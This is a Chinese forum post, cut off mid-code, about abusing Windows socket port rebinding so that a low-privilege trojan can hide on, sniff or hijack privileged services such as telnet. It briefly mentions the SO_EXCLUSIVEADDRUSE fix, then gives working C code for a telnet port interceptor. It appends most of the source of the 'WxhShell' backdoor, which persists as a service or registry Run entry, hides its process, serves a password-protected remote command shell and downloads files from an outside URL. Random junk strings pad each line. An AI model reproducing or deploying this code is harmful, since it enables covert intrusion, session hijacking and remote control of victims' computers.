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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ae0> W  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ghX|3lI\q  
krC{ed  
  saddr.sin_family = AF_INET; Y<Xz wro0  
r]l!WRn  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aP8H`^DFX>  
pSr{>;bN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l#H#+*F  
]) rrG/3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 l-s!A(l  
$;/}?QY(  
  这意味着什么?意味着可以进行如下的攻击: *IY*yR6  
W'.s\e?gh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >b6-OFJx  
k?z98 >4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a(9L,v#?  
A%D7bQ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b r^_'1  
Zuw?58RE\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A Q+]|XYo_  
_-9@qe  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9v }G{mQ#  
;M_o)OS3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 S`"LV $8  
]"1`+q6i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 I-WhH>9  
0em#-*|2"  
  #include KA){''>8  
  #include & M~`:R  
  #include -#2)?NkeE  
  #include    @:U+9[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   YE=q:Bv  
  int main() +AHUp)  
  { P  '>SmQ  
  WORD wVersionRequested; $T`<Qq-r  
  DWORD ret; )Lwc  
  WSADATA wsaData; |pmZ.r  
  BOOL val; LwK+:4$  
  SOCKADDR_IN saddr; (q4),y<:[  
  SOCKADDR_IN scaddr; t@R ?Rgu3  
  int err; -GqT7`:(H4  
  SOCKET s; ltgc:&=|@  
  SOCKET sc; GW$.lo1|)  
  int caddsize; xZQg'IT  
  HANDLE mt; 9$Xu,y  
  DWORD tid;   1\g6)|R-+  
  wVersionRequested = MAKEWORD( 2, 2 ); P#_sg0oJF  
  err = WSAStartup( wVersionRequested, &wsaData ); 9(5Oe H6o?  
  if ( err != 0 ) { GHsilba  
  printf("error!WSAStartup failed!\n"); n[]tXrhU  
  return -1; ) :\xHR4  
  } Q"t<3-"  
  saddr.sin_family = AF_INET; u6MzRC  
   X83 w@-$}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 UQ+?\wi*  
VH(S=G5Yb  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); F@*+{1R  
  saddr.sin_port = htons(23); )QG<f{wS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^B@Wp  
  { rDQ!zlg>l  
  printf("error!socket failed!\n"); c{&*w")J  
  return -1; ,WG<hgg-U)  
  } :^fcC[$K  
  val = TRUE; "7v@Rye  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2con[!U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m <w "T7  
  { Ojt`^r!V  
  printf("error!setsockopt failed!\n");  wAz&"rS  
  return -1; qR8u$2}NY  
  } +{/*z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q^q1 ns;r  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~",`,ZXQy  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :{ur{m5bX  
8Y_ol#\L  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Vg>(  Y,  
  { U R%4@   
  ret=GetLastError(); i-'9AYyw  
  printf("error!bind failed!\n"); :OkT? (i  
  return -1; GN0`rEh  
  } A5H3%o(6k  
  listen(s,2); #fL8Kq  
  while(1) \igmv]G%  
  { G <uyin>  
  caddsize = sizeof(scaddr); GQl$yZaK{  
  //接受连接请求 +8#_59;x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;?6No(/  
  if(sc!=INVALID_SOCKET) r} P<iX   
  { c1_5, 1U'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;]w<&C!=  
  if(mt==NULL) Udc=,yo3Qm  
  { 1|?05<8  
  printf("Thread Creat Failed!\n"); oX DN+4ge  
  break; )6w}<W*1E  
  } fnNYX]_bk  
  } T`9u!#mT=  
  CloseHandle(mt); VL/|tL>E^  
  } mCWhUBghR  
  closesocket(s); BA:yQ  
  WSACleanup(); 2PeR   
  return 0; E^rbcGJ  
  }   4WN3=B  
  DWORD WINAPI ClientThread(LPVOID lpParam) E!Zx#XP1  
  { 0z[dl Hi  
  SOCKET ss = (SOCKET)lpParam; k $f Gom  
  SOCKET sc; ?0 m\(#  
  unsigned char buf[4096]; v NeCpf  
  SOCKADDR_IN saddr; .!6>oL/iF  
  long num; tU^kQR!  
  DWORD val; +4,2<\fX  
  DWORD ret; 5hbJOo0BZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 h8Xg`C\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ) gzR=9l  
  saddr.sin_family = AF_INET; hx f'5uc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8srBHslI  
  saddr.sin_port = htons(23); #!9S}b$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Kv@e I$t5  
  { [J C:  
  printf("error!socket failed!\n"); /c$\X<b);  
  return -1; r&2~~_d3y  
  } {w8 NN-n  
  val = 100; U^.4Hy&D  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )OLq_':^ @  
  { TP}h~8 /;  
  ret = GetLastError(); R.s^o]vT  
  return -1; eVR5Xar  
  } SR8qt z/V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #k$)i[aI-  
  { X/; p-KX  
  ret = GetLastError(); 6AP~]e 8  
  return -1; ?6k}ii!c  
  } %"X-&1vV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %+F"QI1~0  
  { ~fa(=.h  
  printf("error!socket connect failed!\n"); N 6T{  
  closesocket(sc); M^7MU}5w  
  closesocket(ss); rFZrYm  
  return -1; `$YP<CJeq  
  } jr /lk  
  while(1) $v`afd y  
  { O Lc}_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ka|eFprS  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 jS!`2li?{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `' 153M]  
  num = recv(ss,buf,4096,0); s3 ;DG  
  if(num>0) e*  
  send(sc,buf,num,0); om3`[r[{  
  else if(num==0) }%-t+Tf,  
  break; #-"VS-.<  
  num = recv(sc,buf,4096,0); Z/6qG0feJ  
  if(num>0) $f pq 3  
  send(ss,buf,num,0); ]{ d[  
  else if(num==0) &(a(W22O  
  break; JTqq0OD}  
  } Gs*G<P"  
  closesocket(ss); 3pXLSdxB  
  closesocket(sc); #Ch;0UvFF  
  return 0 ; 3:5DL!Sm8J  
  } &6j<ca  
erl:9.  
5 #]4YI;  
========================================================== K?4FT$9G  
QJW`}`R  
下边附上一个代码,,WXhSHELL Vi]c%*k  
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========================================================== G2#d $  
Y=*P 8pg  
#include "stdafx.h" QR> Y%4 ;h  
D%7kBfCb  
#include <stdio.h> RkuuogZ  
#include <string.h> 9]>iSG^H  
#include <windows.h> D\~e&0*  
#include <winsock2.h> #g5^SR|qE  
#include <winsvc.h> o\`>c:.  
#include <urlmon.h> + zkm(  
gr-x |wK  
#pragma comment (lib, "Ws2_32.lib")  y\F=ui  
#pragma comment (lib, "urlmon.lib") =6=_/q2  
%5  
#define MAX_USER   100 // 最大客户端连接数 <8 #ObdY!  
#define BUF_SOCK   200 // sock buffer r,N[)@  
#define KEY_BUFF   255 // 输入 buffer nW+YOX|+  
a45 ss7  
#define REBOOT     0   // 重启 ^# A.@  
#define SHUTDOWN   1   // 关机 ~/IexQB&  
m~],nl  
#define DEF_PORT   5000 // 监听端口 n^hocGH*  
quo^fqS&a  
#define REG_LEN     16   // 注册表键长度 6`$[Ini  
#define SVC_LEN     80   // NT服务名长度 =/+#PVO  
X['2b78k  
// 从dll定义API nN3$\gHp8i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [ut#:1h^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ra3ukYG[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !7U\J]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JeY' 8B  
^*^/]vM  
// wxhshell配置信息 uO >x:*^8  
struct WSCFG { 'FzN[% K"  
  int ws_port;         // 监听端口 fMeZ]rb  
  char ws_passstr[REG_LEN]; // 口令 M;Wha;%E"  
  int ws_autoins;       // 安装标记, 1=yes 0=no )~rB}>^Z  
  char ws_regname[REG_LEN]; // 注册表键名 i_F$&?)  
  char ws_svcname[REG_LEN]; // 服务名 1Xyp/X2rI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |z^pL1Z]5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 # 4|9Fj??  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xq!IbVV/h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (_9|w|(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =!ac7i\F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f]d!hz!  
Jbp5'e _  
}; E=/[s]@5  
y~F<9;$=  
// default Wxhshell configuration ^GYq#q9Q  
struct WSCFG wscfg={DEF_PORT, TK>{qxt:=  
    "xuhuanlingzhe", u8OxD  
    1, aEx(rLd+  
    "Wxhshell", L"rcv:QWZa  
    "Wxhshell", [}3cDR  
            "WxhShell Service", V+w u  
    "Wrsky Windows CmdShell Service", }#=Od e  
    "Please Input Your Password: ", [.q(h/b  
  1, vZajT!h  
  "http://www.wrsky.com/wxhshell.exe", 'H FKBp  
  "Wxhshell.exe" j[P8  
    }; aQcN&UA@  
kd;'}x=5yP  
// 消息定义模块 Zj-BuE&@f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A1*4*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; agaq`^[(P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7CrpUh  
char *msg_ws_ext="\n\rExit."; o@d y:AR  
char *msg_ws_end="\n\rQuit."; 5a(<%Q <"  
char *msg_ws_boot="\n\rReboot..."; 74zSP/G'  
char *msg_ws_poff="\n\rShutdown..."; \]Z&P,}w  
char *msg_ws_down="\n\rSave to "; St>`p-  
Isovwd  
char *msg_ws_err="\n\rErr!"; 8mgQu]>  
char *msg_ws_ok="\n\rOK!"; n=`w9qajd  
6~W u`  
char ExeFile[MAX_PATH]; *`KrVu 6s  
int nUser = 0; bV3lE6z  
HANDLE handles[MAX_USER]; Y jup  
int OsIsNt; JfTfAq]  
FD6v /Y  
SERVICE_STATUS       serviceStatus; `Lz1{#F2G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *?8RXer  
{ (\(m/!Z  
// 函数声明 PZ34*q  
int Install(void); rR!U;  
int Uninstall(void);  #[ :w  
int DownloadFile(char *sURL, SOCKET wsh); k!doIMj  
int Boot(int flag); j??tmo  
void HideProc(void); cw+g z!!  
int GetOsVer(void); w &vhWq  
int Wxhshell(SOCKET wsl); m4gU*?  
void TalkWithClient(void *cs); {Bvm'lq`  
int CmdShell(SOCKET sock); 9Q@*0-  
int StartFromService(void); S?,_<GD)w  
int StartWxhshell(LPSTR lpCmdLine); "2mFC!  
feCqbWq:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @\~tHJ?hQd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >38 Lt\  
 E&%jeR  
// 数据结构和表定义 \Hs|$   
SERVICE_TABLE_ENTRY DispatchTable[] = 5OB]x?4]  
{ RqGVp?   
{wscfg.ws_svcname, NTServiceMain}, '\L0xw4  
{NULL, NULL} Wg(bD,  
}; pruWO'b`  
{NeWdC  
// 自我安装 l.7d$8'\  
int Install(void) pb$fb  
{ gPUo25@pn*  
  char svExeFile[MAX_PATH]; Ea4 * o  
  HKEY key; |yAK@ Hl'  
  strcpy(svExeFile,ExeFile); 9- G b"hr  
aQmfrx  
// 如果是win9x系统,修改注册表设为自启动 NQ!<f\m4n  
if(!OsIsNt) { J"bD\%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;\s~%~ \  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _:5=|2-E  
  RegCloseKey(key); 6To:T[ z#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -gSj>b7T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [tm[,VfA^  
  RegCloseKey(key); "=ElCaP}  
  return 0; a)S(p1BGg  
    } +\U]p_Fo3  
  } h^d\xn9GT#  
} VV\Xb31J  
else { !2tw,QM  
e;;):\p4  
// 如果是NT以上系统,安装为系统服务 yId;\o B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y.fs,!|%@  
if (schSCManager!=0) &9@gm--b:  
{ _vIO !*h0  
  SC_HANDLE schService = CreateService fkBLrw  
  ( {~nvs4X  
  schSCManager, kdBV1E+:C  
  wscfg.ws_svcname, *]'qLL7d  
  wscfg.ws_svcdisp, <p)Z/  
  SERVICE_ALL_ACCESS, RnSm]}?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fPrb%  
  SERVICE_AUTO_START, e2Ww0IK!E  
  SERVICE_ERROR_NORMAL, j Ii[  
  svExeFile, vu ?3$  
  NULL, U,38qKE  
  NULL, a6qwL4  
  NULL, .}~$1QKS  
  NULL, oc((Yo+B  
  NULL 08O7F  
  ); W[GQ[h  
  if (schService!=0) _^b@>C>O  
  { +]_nbWL(%  
  CloseServiceHandle(schService); u x#. :C|  
  CloseServiceHandle(schSCManager); [NZ-WU&&LP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WzlS^bZ  
  strcat(svExeFile,wscfg.ws_svcname); -^R b7 g-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iz$FcA]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); + lP5XY{  
  RegCloseKey(key);  *0-v!\{  
  return 0; 8Yxhd .  
    } &!6DC5  
  } T|!D>l'  
  CloseServiceHandle(schSCManager); Y!;gQeC  
} 4XD)E&   
} .`mtA`N  
y]J3h Ks  
return 1; hMz&JJ&B  
} ) (+)Q'*  
}R`Irxv4  
// 自我卸载 2H3(HZv  
int Uninstall(void) K Ka c6Zj  
{ ^A- sS~w  
  HKEY key; ^ ~, ndH{  
BL0 |\&*1  
if(!OsIsNt) { 2J)74SeH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /<6ywLD  
  RegDeleteValue(key,wscfg.ws_regname); \ U Ax(;  
  RegCloseKey(key); 6{ C Fe|XN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [pr 9 $Jr  
  RegDeleteValue(key,wscfg.ws_regname); &7fY_~)B  
  RegCloseKey(key); rQn{L{  
  return 0; "NJ ,0A  
  } 9ptZVv=O  
} )F +nSV;  
} fWd~-U0M^  
else { L)1C'8 ).  
W\'Nv/L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1Jl{1;c  
if (schSCManager!=0) @uoT{E[  
{ HRj7n<>L=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WBy[m ?d  
  if (schService!=0) <8g=BWA  
  { !8we8)7  
  if(DeleteService(schService)!=0) { L#`7FaM?  
  CloseServiceHandle(schService); >kt~vJI  
  CloseServiceHandle(schSCManager); {ip=iiW2  
  return 0; >6XDX=JVI  
  } c%jsu"  
  CloseServiceHandle(schService); bd} r#^'K  
  } y-%nJD$  
  CloseServiceHandle(schSCManager); Xm%iPrl D  
} DL %S(l  
}  xQX<w\s  
+O&RBEa[  
return 1; l_bL,-|E8  
} ]NbX`'  
^=Q8]W_*  
// 从指定url下载文件 N&?T0Ge;  
int DownloadFile(char *sURL, SOCKET wsh) lt{lHat1  
{ kV_#9z7%  
  HRESULT hr; Ft)t`E'%j  
char seps[]= "/"; qo)Q}0  
char *token; T!Xm")d  
char *file; 1]_?$)$T  
char myURL[MAX_PATH]; <"hb#Tn  
char myFILE[MAX_PATH];  <V7SSm  
j.<:00<  
strcpy(myURL,sURL); MRjH40" 2  
  token=strtok(myURL,seps); +{5JDyh0  
  while(token!=NULL) eVZa6la"  
  { .4H_Zt[2  
    file=token; f3/SO+Me}  
  token=strtok(NULL,seps); &t~zD4u B  
  } <9ePi9D(  
h U 9\y  
GetCurrentDirectory(MAX_PATH,myFILE); N 9c8c  
strcat(myFILE, "\\"); lr-12-D%-  
strcat(myFILE, file); L[CU  
  send(wsh,myFILE,strlen(myFILE),0); SAd 97A:  
send(wsh,"...",3,0); :0WkxEY9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 67}]s@:l](  
  if(hr==S_OK) zv$Gma_  
return 0; r hiS  
else m$7x#8gF  
return 1; +fC#2%VnU  
/_ $~rW  
} 8.*\+nH  
"|(rVj=  
// 系统电源模块 K~`n}_:  
int Boot(int flag) #DQX<:u  
{ ? (fQ<i n  
  HANDLE hToken; >]:N?[Y_~}  
  TOKEN_PRIVILEGES tkp; a];BW)  
cSY2#u|v  
  if(OsIsNt) { u(8_[/_B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S9 $o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jN31\)/i  
    tkp.PrivilegeCount = 1; =''mpIg(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nu#aa#ex>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hO^&0?  
if(flag==REBOOT) { hZp=BM"bJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8]sTX9  
  return 0; ` %FIgE^  
} }V\P,ck  
else { di8W2cwz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  ]# Y|   
  return 0; \Pw8wayr%  
} "V*kOb&'*Z  
  } 8|w5QvCU?3  
  else { ZmEG<T05  
if(flag==REBOOT) { aSn0o_4bD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "}S9`-Wd|  
  return 0; [54@irH  
} IW5*9)N?  
else { A6{t%k~F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xy[4f=X}z  
  return 0; {D;Xa`:O  
} fQ=&@ >e  
} S1D9AcK  
%MfGVx}nG  
return 1; 1bV2  
} T [T6  
@J~ lV\  
// win9x进程隐藏模块 k)N2 +/  
void HideProc(void) <bEN8b  
{ n%83jep9  
E\{^0vNc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?D RFsA  
  if ( hKernel != NULL ) [ea6dv4p  
  { *]{9K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tU+@1~ ~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2"pE&QNd  
    FreeLibrary(hKernel); xB?S#5G}  
  } JIyBhFI  
4q\.I +r^  
return; qWRNHUd  
} %00k1 *$  
Jo6~r-  
// 获取操作系统版本 ]I{qp~^#n  
int GetOsVer(void) n.2E8m/  
{ Ov $N"  
  OSVERSIONINFO winfo; B6tcKh9d,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S[W9G)KWp  
  GetVersionEx(&winfo); LP5eFl`|T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S1}1"y/  
  return 1; qPFG+~\c  
  else *k3 d^9o#  
  return 0; .nj?;).  
} Rz<d%C;R  
A2g"=x[1@K  
// 客户端句柄模块 }XfS#Xr1aV  
int Wxhshell(SOCKET wsl) o9U0kI=W  
{ |1dEs,z\  
  SOCKET wsh; g5kYyE  
  struct sockaddr_in client; OmTZ-*N  
  DWORD myID; w\"n!^ms  
eh({K;>  
  while(nUser<MAX_USER) ]C}u- B746  
{ HI"!n$p  
  int nSize=sizeof(client); 2x<Qt2"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |QAeQWP+1  
  if(wsh==INVALID_SOCKET) return 1; ,z?<7F1q=  
2a._?(k_y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jMz1s%C  
if(handles[nUser]==0) \3n{w   
  closesocket(wsh); m wRL zN  
else <|KKv5[  
  nUser++; L|]w3}ZT@  
  } nLFx/5sL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A@@)lD.  
<F#*:Re_y  
  return 0; %=NM_5a}]  
} ooLnJ Y#  
`}k&HRn  
// 关闭 socket #a7Amh\nT  
void CloseIt(SOCKET wsh) } #\;np  
{ PBxK>a  
closesocket(wsh); Q.pEUDq/  
nUser--; b*'=W"%\  
ExitThread(0); !LHzY(  
} RvyBg:Aj5  
l6&v}M  
// 客户端请求句柄 Ie^Dn!0S  
void TalkWithClient(void *cs) W%cj39$  
{ rj2r#{[  
 Vq .!(x  
  SOCKET wsh=(SOCKET)cs; Kc JP^  
  char pwd[SVC_LEN]; ]v^`+s}3  
  char cmd[KEY_BUFF]; .yK\&q[<  
char chr[1]; s3MMICRT.  
int i,j; "W_jdE6v  
w+).pcG( *  
  while (nUser < MAX_USER) { NgE&KPj\  
F(KH-  
if(wscfg.ws_passstr) { SCfkv|hO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  \pewbu5^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #FQm/Q<0  
  //ZeroMemory(pwd,KEY_BUFF); )5GdvqA  
      i=0; hSx+ {4PZ  
  while(i<SVC_LEN) { $+lz<~R  
G)tq/`zNw  
  // 设置超时 E1l\~%A  
  fd_set FdRead; 4PO%qO  
  struct timeval TimeOut; yv!''F:9F  
  FD_ZERO(&FdRead); TzevC$m;z  
  FD_SET(wsh,&FdRead); fncwe ';?  
  TimeOut.tv_sec=8; FfD ,cDs  
  TimeOut.tv_usec=0; qSpa4W[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +c]N]?k&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9?g]qy,1)  
r7Q:l ?F2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -_{C+Y_  
  pwd=chr[0]; l $p_])x  
  if(chr[0]==0xd || chr[0]==0xa) { |oBdryi  
  pwd=0; a! 0?L0_W&  
  break; 7/D9n9F  
  } siss_1J  
  i++; I7q?V1f u4  
    } k[r./xEv+t  
!dbA (  
  // 如果是非法用户,关闭 socket ^EuyvftZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uwH)/BW)[  
} EMW4<na[  
9p[W :)P4d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7uv/@(J"$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8JtI&aH-L  
_A)_K;cz  
while(1) { d5sGkR`(  
< o'7{  
  ZeroMemory(cmd,KEY_BUFF); p+`*~6Jj/  
'.h/Y/oz  
      // 自动支持客户端 telnet标准   ir@N>_  
  j=0; f1]AfH#  
  while(j<KEY_BUFF) { w}bEufU+2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^+- L;XkeY  
  cmd[j]=chr[0]; ?9('o\N:  
  if(chr[0]==0xa || chr[0]==0xd) { /K1$_   
  cmd[j]=0; l9ifUh e  
  break; D25gg  
  } {o5K?Pb  
  j++; Z|Lh^G  
    } ];b!*Z  
:i,c<k  
  // 下载文件 ,8J*S  
  if(strstr(cmd,"http://")) { LKf5r,C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pv2nV!X6  
  if(DownloadFile(cmd,wsh)) >Rki[SNb-b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,$6MM6W;-F  
  else JIY ^N9_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hyvV%z Z  
  } V&,<,iNN  
  else { /_k hFw  
,],JI|Rl8c  
    switch(cmd[0]) { kXZV%mnT7  
  T24#gF~  
  // 帮助 y9G57D  
  case '?': { Cj4b]*Q,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O 44IH`SI  
    break; e}Af"LI  
  } vZ nO  
  // 安装 H8t{ >C)]  
  case 'i': { ~g4rGz  
    if(Install()) Q 5Ghki  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "PX3%II  
    else XM@-Y&c$A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .f92^lu9  
    break; }_kI>  
    } 5k%N<e` `  
  // 卸载 y8~)/)l&  
  case 'r': { l LD)i J1  
    if(Uninstall()) ,Y\4xg*`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zs$RKJ7  
    else ^$Eiz.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =iK6/ y`  
    break; GaK_9Eg-2  
    } E]eqvTNH  
  // 显示 wxhshell 所在路径 %*Z2Gef?H  
  case 'p': { }PIGj}F/  
    char svExeFile[MAX_PATH]; 9}qfdbI  
    strcpy(svExeFile,"\n\r"); c7nk~K[6  
      strcat(svExeFile,ExeFile); +} !F(c  
        send(wsh,svExeFile,strlen(svExeFile),0); Q!+{MsZ  
    break; &v9PT!R~  
    } ,md7.z]U~  
  // 重启 q/2K=BOh  
  case 'b': { xZ'` _x9l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .vOpU4  
    if(Boot(REBOOT)) |b'<XQ&l5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pl5NHVr  
    else { Uo[5V|>X6  
    closesocket(wsh); hq8/`u YF  
    ExitThread(0); zUUxxS_?  
    } @8M2'R\  
    break; VF!kr1n!  
    } ^1Zq0  
  // 关机 p|9ECdU>;  
  case 'd': { dG~B3xg;5i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ??%T  
    if(Boot(SHUTDOWN)) sv{0XVn+^  
